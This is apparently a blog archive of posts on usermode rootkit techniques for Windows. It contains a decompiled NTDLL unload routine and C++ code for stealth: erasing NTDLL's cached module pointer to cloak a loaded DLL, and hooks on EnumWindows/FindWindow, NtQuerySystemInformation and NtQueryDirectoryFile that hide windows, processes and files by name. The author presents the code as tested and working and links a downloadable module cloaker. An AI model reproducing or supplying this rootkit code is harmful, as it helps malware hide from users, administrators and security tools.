Archive

Posts Tagged ‘stealth’

LdrpLoadedDllHandleCache

May 6th, 2009

LdrpLoadedDllHandleCache is the name of the cached module handle that NTDLL holds which was covered briefly in my previous post.

Just as a confirmation that it does infact exist and is still present, here is the entire body of LdrpUnloadDll from Vista x86 SP1 Untouched. (Generated by IDA v5.4 and HexRays)

int __stdcall LdrpUnloadDll(int a1, int a2)
{
int v2; // ebx@1
int v4; // eax@7
int v5; // esi@7
int v6; // eax@9
int v7; // ebx@10
int v8; // esi@10
int v9; // eax@13
int v10; // eax@16
int v11; // edi@16
int v12; // esi@16
int v13; // edi@31
int v14; // esi@34
int v15; // eax@36
int v16; // eax@1
int v17; // eax@7
int v18; // esi@7
int v19; // eax@10
int v20; // eax@10
int v21; // ecx@10
int v22; // edx@10
int v23; // ecx@10
int v24; // et0@11
char v25; // zf@11
int v26; // eax@14
int v27; // esi@14
int v28; // et0@20
char v29; // zf@20
int (__stdcall *v30)(_DWORD); // eax@26
int v31; // eax@33
int v32; // eax@36
int v33; // ecx@36
int v34; // eax@36
int v35; // ecx@36
int v36; // ecx@36
int v37; // edx@36
int v38; // ecx@37
int v39; // eax@44
int v40; // esi@44
int v41; // eax@50
int v42; // [sp+70h] [bp-28h]@1
int v43; // [sp+68h] [bp-30h]@1
int v44; // [sp+6Ch] [bp-2Ch]@1
int v45; // [sp+94h] [bp-4h]@1
int v46; // [sp+7Ch] [bp-1Ch]@2
int v47; // [sp+74h] [bp-24h]@7
int *v48; // [sp+78h] [bp-20h]@7
int *v49; // [sp+5Ch] [bp-3Ch]@10
int *v50; // [sp+58h] [bp-40h]@10
int v51; // [sp+64h] [bp-34h]@10
int v52; // [sp+10h] [bp-88h]@13
int v53; // [sp+14h] [bp-84h]@13
char v54; // [sp+18h] [bp-80h]@13
char v55; // [sp+60h] [bp-38h]@19
int v56; // [sp+34h] [bp-64h]@28
int v57; // [sp+38h] [bp-60h]@28
char v58; // [sp+3Ch] [bp-5Ch]@28

v42 = *(_DWORD *)a2;
v16 = *(_DWORD *)(*MK_FP(__FS__, 24) + 48);
v43 = *(_DWORD *)(*MK_FP(__FS__, 24) + 48);
v2 = 0;
v44 = 0;
v45 = 0;
++LdrpActiveUnloadCount;
if ( !*(_BYTE *)(*(_DWORD *)(v16 + 12) + 40) )
{
if ( (unsigned __int8)LdrpCheckForLoadedDllHandle(a1, &v46) )
{
if ( *(_WORD *)(v46 + 56) != -1 )
{
-*(_WORD *)(v46 + 56);
LdrpUpdateServiceTagCount(v46, 2);
LdrpCheckForwardedEntries(v46);
if ( *(_BYTE *)(v46 + 52) & 4 )
{
v56 = 36;
v57 = 1;
memset(&v58, 0, 0×1Cu);
RtlActivateActivationContextUnsafeFast();
v45 = 1;
LdrpUpdateLoadCount2(v46, 2);
v45 = 0;
sub_77F0982B();
}
if ( LdrpActiveUnloadCount == 1 )
{
dword_77F991A4 = (int)&LdrpUnloadHead;
LdrpUnloadHead = (int)&LdrpUnloadHead;
}
v13 = dword_77F94CE0;
v48 = (int *)dword_77F94CE0;
while ( v13 != (_DWORD)&dword_77F94CDC )
{
v31 = v13 - 16;
v46 = v13 - 16;
v13 = *(_DWORD *)(v13 + 4);
v48 = (int *)v13;
*(_DWORD *)(v31 + 52) &= 0xFFFFDFFFu;
if ( !*(_WORD *)(v46 + 56) )
{
LdrpModuleCacheUnloadNotification(v46);
v14 = v46;
if ( !*(_WORD *)(v46 + 56) )
{
v47 = v46;
if ( g_ShimsEnabled )
{
v30 = (int (__stdcall *)(_DWORD))RtlDecodeSystemPointer(g_pfnSE_DllUnloaded);
v30(v14);
}
v32 = *(_DWORD *)(v14 + 16);
v33 = *(_DWORD *)(v14 + 20);
*(_DWORD *)v33 = v32;
*(_DWORD *)(v32 + 4) = v33;
v34 = *(_DWORD *)(v14 + 8);
v35 = *(_DWORD *)(v14 + 12);
*(_DWORD *)v35 = v34;
*(_DWORD *)(v34 + 4) = v35;
v15 = v14 + 60;
v36 = *(_DWORD *)(v14 + 60);
v37 = *(_DWORD *)(v14 + 64);
*(_DWORD *)v37 = v36;
*(_DWORD *)(v36 + 4) = v37;
if ( (unsigned __int8)LdrpActiveUnloadCount > 1u )
{
LdrpLoadedDllHandleCache = 0;
*(_DWORD *)(v14 + = 0;
}
v38 = dword_77F991A4;
*(_DWORD *)v15 = &LdrpUnloadHead;
*(_DWORD *)(v14 + 64) = v38;
*(_DWORD *)v38 = v15;
dword_77F991A4 = v14 + 60;
}
}
}
if ( (unsigned __int8)LdrpActiveUnloadCount <= 1u )
{
v49 = (int *)&v50;
v50 = (int *)&v50;
v5 = 0;
v47 = 0;
v4 = LdrpUnloadHead;
v48 = (int *)LdrpUnloadHead;
while ( v4 != (_DWORD)&LdrpUnloadHead )
{
if ( v5 == v2 )
{
v6 = (int)v48;
}
else
{
RtlRemoveInvertedFunctionTable(&LdrpInvertedFunctionTable, *(_DWORD *)(v5 + 24));
v39 = *(_DWORD *)v5;
v40 = *(_DWORD *)(v5 + 4);
*(_DWORD *)v40 = v39;
*(_DWORD *)(v39 + 4) = v40;
v47 = v2;
v6 = LdrpUnloadHead;
v48 = (int *)LdrpUnloadHead;
if ( LdrpUnloadHead == (_DWORD)&LdrpUnloadHead )
break;
}
v19 = v6 - 60;
v46 = v19;
LdrpRecordUnloadEvent(v19);
v8 = v46;
v47 = v46;
LdrpLoadedDllHandleCache = v2;
*(_DWORD *)(v46 + = v2;
v20 = v46 + 60;
v21 = *(_DWORD *)(v46 + 60);
v22 = *(_DWORD *)(v46 + 64);
*(_DWORD *)v22 = v21;
*(_DWORD *)(v21 + 4) = v22;
v23 = (int)v49;
*(_DWORD *)v20 = &v50;
*(_DWORD *)(v20 + 4) = v23;
*(_DWORD *)v23 = v20;
v49 = (int *)v20;
v7 = *(_DWORD *)(v46 + 28);
v51 = *(_DWORD *)(v46 + 28);
if ( !v7 || (v24 = *(_DWORD *)(v46 + 52), v24 &= 0×80000u, v25 = v24 == 0, v25) )
{
RtlRemoveInvertedFunctionTable(&LdrpInvertedFunctionTable, *(_DWORD *)(v8 + 24));
v17 = *(_DWORD *)v8;
v18 = *(_DWORD *)(v8 + 4);
*(_DWORD *)v18 = v17;
*(_DWORD *)(v17 + 4) = v18;
v5 = 0;
v47 = 0;
v4 = LdrpUnloadHead;
v48 = (int *)LdrpUnloadHead;
}
else
{
v45 = 2;
JUMPOUT((dword_77F143C8 | 1) & ShowSnaps, *(unsigned int *)sub_77F41A51);
if ( ShowSnaps & dword_77F143CC )
DbgBreakPoint();
v52 = 36;
v53 = 1;
memset(&v54, 0, 0×1Cu);
RtlActivateActivationContextUnsafeFast();
v45 = 3;
v9 = v46;
if ( *(_WORD *)(v46 + 58) )
{
LdrpCallTlsInitializers(0, v46);
v9 = v46;
}
LdrpCallInitRoutine(v7, *(_DWORD *)(v9 + 24), 0, 0);
v45 = 2;
sub_77F0904D();
RtlRemoveInvertedFunctionTable(&LdrpInvertedFunctionTable, *(_DWORD *)(v8 + 24));
v26 = *(_DWORD *)v8;
v27 = *(_DWORD *)(v8 + 4);
*(_DWORD *)v27 = v26;
*(_DWORD *)(v26 + 4) = v27;
v5 = 0;
v47 = 0;
v4 = LdrpUnloadHead;
v48 = (int *)LdrpUnloadHead;
v45 = 0;
}
v2 = 0;
}
v11 = (int)v50;
v48 = v50;
while ( v11 != (_DWORD)&v50 )
{
v10 = v11 - 60;
v46 = v11 - 60;
v11 = *(_DWORD *)v11;
v48 = (int *)v11;
v12 = v10;
v47 = v10;
if ( *(_WORD *)(v43 + 104) & 0×100 )
{
AVrfDllUnloadNotification(v10);
LOBYTE(v10) = v46;
}
if ( (dword_77F143C8 | 1) & ShowSnaps )
LdrpLogDbgPrint(
“d:\\rtm\\base\\ntdll\\ldrapi.c”,
1468,
“LdrpUnloadDll”,
2,
“Unmapping DLL \”%wZ\”\n”,
v10 + 36);
if ( ShowSnaps & dword_77F143CC )
DbgBreakPoint();
LdrUnloadAlternateResourceModule(*(_DWORD *)(v12 + 24));
if ( RtlImageDirectoryEntryToData(*(_DWORD *)(v12 + 24), 1, 14, &v55) != v2 )
LdrpCorUnloadImage(*(_DWORD *)(v12 + 24));
v28 = *(_DWORD *)(v12 + 52);
v28 &= 0×800000u;
v29 = v28 == 0;
if ( v29 )
v44 = NtUnmapViewOfSection(-1, *(_DWORD *)(v12 + 24));
LdrpSendDllNotifications(v12, 2, *(_BYTE *)(*(_DWORD *)(v43 + 12) + 40) != 0);
while ( *(_DWORD *)(v12 + 76) != v2 )
{
v41 = *(_DWORD *)(v12 + 76);
*(_DWORD *)(v12 + 76) = *(_DWORD *)(v41 + 12);
*(_DWORD *)(v41 + 12) = v42;
v42 = v41;
}
LdrpCheckForwardedEntries(v12);
LdrpFinalizeAndDeallocateDataTableEntry(v12);
if ( v12 == LdrpGetModuleHandleCache )
LdrpGetModuleHandleCache = v2;
}
LdrpModuleReferenceFreeCallback();
}
}
}
else
{
v44 = -1073741515;
}
}
v45 = -2;
sub_77F0E99C();
*(_DWORD *)a2 = v42;
return v44;
}

You can see referenced there LdrpLoadedDllHandleCache. Just wanted to point that out for anyone who had their doubts about its existence.

Erasing the Cached Module Pointer in NTDLL

May 5th, 2009

Darawk first documented this insecurity in his CloakDLL project but never fixed it, Shynd then fixed it in his HideModule class.

Here it is again, but upgraded for x64 and to work with my Cloaker class:

// TODO: Scan more than just the image. Scan the heap.
void Cloaker::Module::EraseCachedPointer()
{
// Exception handling
try
{
// SEH proxy
SehGuard Guard;

// Get handle to NTDLL
HMODULE Handle = GetModuleHandle(_T(”ntdll.dll”));

// Check handle is valid
if (!Handle)
throw std::runtime_error(”Cloaker::Module::EraseCachedPointer: Handle to ntdll.dll is invalid.”);

// Check DOS header is valid
PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(Handle);
if (!pDosHeader || pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
throw std::runtime_error(”Cloaker::Module::EraseCachedPointer: DOS PE header is invalid.”);

// Check NT header is valid
PIMAGE_NT_HEADERS pNtHeader = reinterpret_cast<PIMAGE_NT_HEADERS>
((PCHAR)Handle + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
throw std::runtime_error(”Cloaker::Module::EraseCachedPointer: NT PE header is invalid.”);

// Get beginning and end of search region (entire region)
// TODO: Scan heap too
DWORD_PTR* Begin = reinterpret_cast<DWORD_PTR*>(pNtHeader->OptionalHeader.ImageBase);
DWORD_PTR* End = reinterpret_cast<DWORD_PTR*>(pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.SizeOfImage);

// Search for cached pointers
DWORD_PTR* Searcher = NULL;
for (Searcher = Begin; Searcher < End; Searcher++)
{
// Check for cached pointer
if (*Searcher != reinterpret_cast<DWORD_PTR>(m_Handle))
continue;

// Get information for page of memory
MEMORY_BASIC_INFORMATION mbi = { 0 };
if (!VirtualQuery(Searcher, &mbi, sizeof(mbi)))
continue;

// Check page flags to verify we can write to it
if ((mbi.Protect & PAGE_READWRITE) == PAGE_READWRITE ||
(mbi.Protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE)
*Searcher = 0;
}
}
// Catch access violations
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error in Cloaker::EraseCachedPointer: “) << e << std::endl);
}
}

Credits to Darawk for documenting it, and Shynd for his HideModule class which I ripped the base of this function from.

Usermode Window Hiding

April 30th, 2009

Yet another example of usermode rootkit tech. This one is designed to hide windows. One very important note for this is that the Enum* collection of hooks are NOT thread safe. It’s not hard to do, but I have decided to omit that for personal reasons.

// Hook EnumWindows
APIHook g_EnumWindows(”user32.dll”, “EnumWindows”, (PROC) EnumWindows_Hook);
// Hook EnumChildWindows
APIHook g_EnumChildWindows(”user32.dll”, “EnumChildWindows”, (PROC) EnumChildWindows_Hook);
// Hook EnumThreadWindows
APIHook g_EnumThreadWindows(”user32.dll”, “EnumThreadWindows”, (PROC) EnumThreadWindows_Hook);

// Hook FindWindowA
APIHook g_FindWindowA(”user32.dll”, “FindWindowA”, (PROC) FindWindowA_Hook);
// Hook FindWindowW
APIHook g_FindWindowW(”user32.dll”, “FindWindowW”, (PROC) FindWindowW_Hook);
// Hook FindWindowExA
APIHook g_FindWindowExA(”user32.dll”, “FindWindowExA”, (PROC) FindWindowExA_Hook);
// Hook FindWindowExW
APIHook g_FindWindowExW(”user32.dll”, “FindWindowExW”, (PROC) FindWindowExW_Hook);

WNDENUMPROC EnumCallback = NULL;
WNDENUMPROC EnumChildCallback = NULL;
WNDENUMPROC EnumThreadCallback = NULL;

BOOL CALLBACK EnumWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumCallback(hwnd, lParam);
}

BOOL CALLBACK EnumChildWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumChildWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumChildCallback(hwnd, lParam);
}

BOOL CALLBACK EnumThreadWindowsFilterProc(HWND hwnd, LPARAM lParam)
{
std::vector<TCHAR> Temp(1024);
if (GetWindowText(hwnd, &Temp[0], static_cast<int>(Temp.size())))
{
std::tstring WindowText(&Temp[0]);
if (Config::Get()->ShouldHideWindowName(WindowText))
{
TDBGOUT(_T(”EnumThreadWindows called! Hiding window: “) << WindowText <<
_T(”\”.”));
return TRUE;
}
}
return EnumThreadCallback(hwnd, lParam);
}

BOOL WINAPI EnumWindows_Hook(WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumCallback = lpEnumFunc;
return ((tEnumWindows)(PROC)(g_EnumWindows))(EnumWindowsFilterProc,lParam);
}

BOOL WINAPI EnumChildWindows_Hook(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam)
{
EnumChildCallback = lpEnumFunc;
return ((tEnumChildWindows)(PROC)(g_EnumChildWindows))(hWndParent,EnumChildWindowsFilterProc,lParam);
}

BOOL WINAPI EnumThreadWindows_Hook(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam)
{
EnumThreadCallback = lpfn;
return ((tEnumThreadWindows)(PROC)(g_EnumThreadWindows))(dwThreadId,EnumThreadWindowsFilterProc,lParam);
}

HWND WINAPI FindWindowA_Hook(LPCSTR lpClassName,LPCSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpClassName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}

return ((tFindWindowA)(PROC)(g_FindWindowA))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowW_Hook(LPCWSTR lpClassName, LPCWSTR lpWindowName)
{
try
{
SehGuard Guard;

if ((lpWindowName && Config::Get()->ShouldHideWindowName(lpWindowName)) ||
(lpClassName && Config::Get()->ShouldHideWindowClass(lpClassName)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowW)(PROC)(g_FindWindowW))(lpClassName,lpWindowName);
}

HWND WINAPI FindWindowExA_Hook(HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass,
LPCSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExA)(PROC)(g_FindWindowExA))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

HWND WINAPI FindWindowExW_Hook(HWND hWndParent,HWND hWndChildAfter, LPCWSTR lpszClass,
LPCWSTR lpszWindow)
{
try
{
SehGuard Guard;

if ((lpszWindow && Config::Get()->ShouldHideWindowName(lpszWindow)) ||
(lpszClass && Config::Get()->ShouldHideWindowClass(lpszClass)))
return NULL;
}
catch (const SehException& e)
{
e;
TDBGOUT(_T(”SEH Error:”) << std::endl << std::hex <<
“Code: ” << e.GetCode() << std::dec  << _T(” File: “) <<
__FILE__ << _T(” Line: “) << __LINE__ << _T(”.”));
}
return ((tFindWindowExW)(PROC)(g_FindWindowExW))(hWndParent,hWndChildAfter,
lpszClass,lpszWindow);
}

Notes:

  • Would love to hear comments/suggestions
  • There are some minor bugs you’ll need to take care of if you want to use this in a production environment
  • Not thread safe

Usermode File Hiding

April 27th, 2009

Another snippet from one of my projects. This time designed to hide processes by name.

Tested and working on both x86 and x64. Again, actual implementation of hooking engine and undocumented structures is left as an exercise to the reader.

// Detour function for NtQuerySystemInformation
// TODO: Add extra checks and cloaks for other information than processes (debuggers,
// etc)
// TODO: Fix return value in cases where all processes are hidden (with exception,
// see notes)
// TODO: Add logging for any unknown system information classes that aren’t being
// specifically ignored
// Note: Do not totally unlink all processes, as long as System Idle Process is left
// on everything is fine, but if you remove that the system will likely crash
// TODO: Fix the detection hole in the couple of classes that can still enumerate
// processes but that aren’t being handled.
NTSTATUS WINAPI NtQuerySystemInformation_Hook(
__in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout    PVOID SystemInformation,
__in       ULONG SystemInformationLength,
__out_opt  PULONG ReturnLength)
{
// Call the original function to get the data we need
NTSTATUS RetVal = ((tNtQuerySystemInformation)(PROC)(g_NtQuerySystemInformation))(SystemInformationClass,
SystemInformation, SystemInformationLength, ReturnLength);

// Make sure we’re working with valid and expected data
if (RetVal != STATUS_SUCCESS)
return RetVal;

// SPI structure pointers to manipulate the ‘linked list’ with.
PSYSTEM_PROCESS_INFORMATION_C pSpiCurrent = 0, pSpiPrevious = 0;

switch (static_cast<SYSTEM_INFORMATION_CLASS_C>(SystemInformationClass))
{
case SystemProcessInformation_C:
// Set the pointers to their defaults
pSpiCurrent = pSpiPrevious = reinterpret_cast<PSYSTEM_PROCESS_INFORMATION_C>(SystemInformation);
break;
case SystemSessionProcessesInformation_C:
// Set the pointers to their defaults
pSpiCurrent = pSpiPrevious = reinterpret_cast<PSYSTEM_SESSION_PROCESS_INFORMATION_C>(SystemInformation)->Buffer;
break;
default:
return RetVal;
}

// Just run until we run out of processes to process.
for (;;)
{
// Get process name
PWSTR ImageName = pSpiCurrent->ImageName.Buffer;
std::wstring ProcessName(ImageName ? ImageName : L”");
// Convert to lowercase for case insensitive compares
std::transform(ProcessName.begin(),ProcessName.end(),ProcessName.begin(),tolower);

// Check if the process should be cloaked
if (Config::Get()->ShouldHideProcess(ProcessName))
{
// Debug output
WDBGOUT(L”NtQuerySystemInformation called! Hiding process: \”"
<< ProcessName << L”\”.”);

// Check if we hit the end of the list
if (pSpiCurrent->NextEntryOffset == 0)
{
// End of list
// Unlink process
pSpiPrevious->NextEntryOffset = 0;
break;
}
else
{
// Not end of list
// Unlink process
pSpiPrevious->NextEntryOffset +=
pSpiCurrent->NextEntryOffset;
}
}
else
{
// Process should not be cloaked

// Check if we hit the end of the list
if (pSpiCurrent->NextEntryOffset == 0)
break;

// Set pointer ready for next iteration
pSpiPrevious = pSpiCurrent;
}

// Move to next process
pSpiCurrent =
reinterpret_cast<PSYSTEM_PROCESS_INFORMATION_C>(
reinterpret_cast<PBYTE>(pSpiCurrent) +
pSpiCurrent->NextEntryOffset);
}

// Return the value from the trampoline.
// TODO: This could potentially cause problems if ALL processes are hidden.
// Although this should NEVER happen its still a concern. Reverse the appropriate
// return code and implement. Priority: 5
return RetVal;
}

Notes:

  • WDBGOUT is a logging macro, feel free to remove the lines using it or provide your own implementation, it won’t break anything.
  • Minor bugs and flaws. Most are outlined in the comments, a couple were omitted, finding and fixing them is again left as an exercise for the reader.
  • If you find any bugs or have any comments I’d love to hear them.

Usermode File Hiding

April 25th, 2009

This is just a small snippet from one of my projects, designed to hide the presence of specific files at a process-local usermode level. It works by detouring NtQueryDirectoryFile in ntdll.dll (implementation of a detour engine is left as an exercise for the reader) and unlinking files from the linked list by their name.

Code tested and working on both x86 and x64 builds of Windows (Vista x86, Server 2008 x64).

// Generic file hiding function. Takes a pointer to a known file information
// linked list and unlinks (hides) arbitrary files
template <typename T>
void UnlinkFileEntries(PVOID pTemp)
{
// Pointers to the linked list
T* pCurrent = static_cast<T*>(pTemp);
T* pPrev = static_cast<T*>(pTemp);

// Loop until there are no more files to process
for (;;)
{
// Wide string to store the file name (initialized in case the given
// file name in the structure is empty or otherwise invalid)
std::wstring FileName(L”");
// Set the file name string to the string in the structure if it’s valid.
// Buffer not guaranteed to be zero terminated so the string length in
// the structure needs to be used (size is stored in bytes not chars)
if (pCurrent->FileNameLength)
FileName = std::wstring(pCurrent->FileName,pCurrent->FileNameLength / 2);
// Make checks case insensitive
std::transform(FileName.begin(),FileName.end(),FileName.begin(),tolower);

// Check if file should be hidden
if (Config::Get()->ShouldHideFile(FileName))
{
// Debug output
WDBGOUT(L”NtQueryDirectoryFile called! Hiding file: \”" << FileName
<< L”\”.”);

// Check for EOL
if (pCurrent->NextEntryOffset == 0)
{
// Hide file
pPrev->NextEntryOffset = pCurrent->NextEntryOffset;
// No files left to process
break;
}
else
{
// Hide file
pPrev->NextEntryOffset += pCurrent->NextEntryOffset;
}
}
else
{
// Check for EOL
if (pCurrent->NextEntryOffset == 0)
{
// No Files left to process
break;
}

// Next file
pPrev = pCurrent;
}

// Next file
pCurrent = reinterpret_cast<T*>(reinterpret_cast<PBYTE>(pCurrent)
+ pCurrent->NextEntryOffset);
}
}

// Detour function for NtQueryDirectoryFile.
// TODO: Add code to log any unknown file information classes (i.e. ones not
// being specifically ignored)
// TODO: Fix return value in cases where all the files on the list are hidden
NTSTATUS NTAPI NtQueryDirectoryFile_Hook(IN HANDLE FileHandle,
IN HANDLE EventHandle OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan)
{
// Call the original function to get the needed data
NTSTATUS RetVal = ((tNtQueryDirectoryFile)(PROC)(g_NtQueryDirectoryFile))(FileHandle,EventHandle,ApcRoutine,
ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,
ReturnSingleEntry,FileName,RestartScan);

// If function fails don’t bother trying to use the data
if (RetVal != STATUS_SUCCESS)
return RetVal;

// Handle all known and relevant file information classes and unlink
// any entries that shouldn’t be seen.
switch (static_cast<FILE_INFORMATION_CLASS_C>(FileInformationClass))
{
case FileDirectoryInformation_C:
UnlinkFileEntries<FILE_DIRECTORY_INFORMATION_C>(FileInformation);
break;

case FileFullDirectoryInformation_C:
UnlinkFileEntries<FILE_FULL_DIRECTORY_INFORMATION_C>(FileInformation);
break;

case FileBothDirectoryInformation_C:
UnlinkFileEntries<FILE_BOTH_DIRECTORY_INFORMATION_C>(FileInformation);
break;

case FileNamesInformation_C:
UnlinkFileEntries<FILE_NAMES_INFORMATION_C>(FileInformation);
break;

case FileIdBothDirectoryInformation_C:
UnlinkFileEntries<FILE_ID_BOTH_DIR_INFO>(FileInformation);
break;

default:
break;
}

// Return value from trampoline
return RetVal;
}

Notes:

  • Still needs minor improvements, but should be a decent starting ground for most.
  • WDBGOUT is a macro, feel free to remove the lines using it or provide your own implementation, it won’t break anything.
  • If you find any bugs or have any comments I’d love to hear them.
  • To use the code you will need to provide your own implementation of the required (undocumented) enums and structures.

Module Cloaker v2

April 24th, 2009

Recently I’ve been working on rewriting all of my usermode rootkit code and adding a lot more features to it. The biggest change I want to make (other than adding support for hiding more types of data) is x64 support. So far I have x64 support for the loader, file cloaking, process cloaking, window cloaking, and module cloaking. I may release some of those code for these features, but not yet, still lots more potential bugs that need fixing.

I figured an upgraded module cloaker would be of use to some. There’s no explicit license attached to it, but if you do choose to use it then it must be for non-commercial purposes ONLY. Credits would be appreciated but are not mandatory.

Tested and working on Windows Server 2008 x64 and Windows Vista x86. Should work from XP -> 7 (the last version did and very little has changed across those versions in terms of what I’m modifying). Along with x64 support I also updated the class to support both Unicode and MBCS, so if that was an issue for you with the last version, you’ll be glad to know its (hopefully) gone (I say hopefully because MBCS is not extensively tested, but if you find a bug let me know and I’ll fix it).

There’ s still lots more to work on,  so I may release an update in a few weeks, then again I’ve got lots of other stuff that also needs improvements so don’t hold your breath. As Blizzard would say, it will be ready “soon”.

(In case you didn’t get the joke: Soon )

Download:

Cloaker v20090424a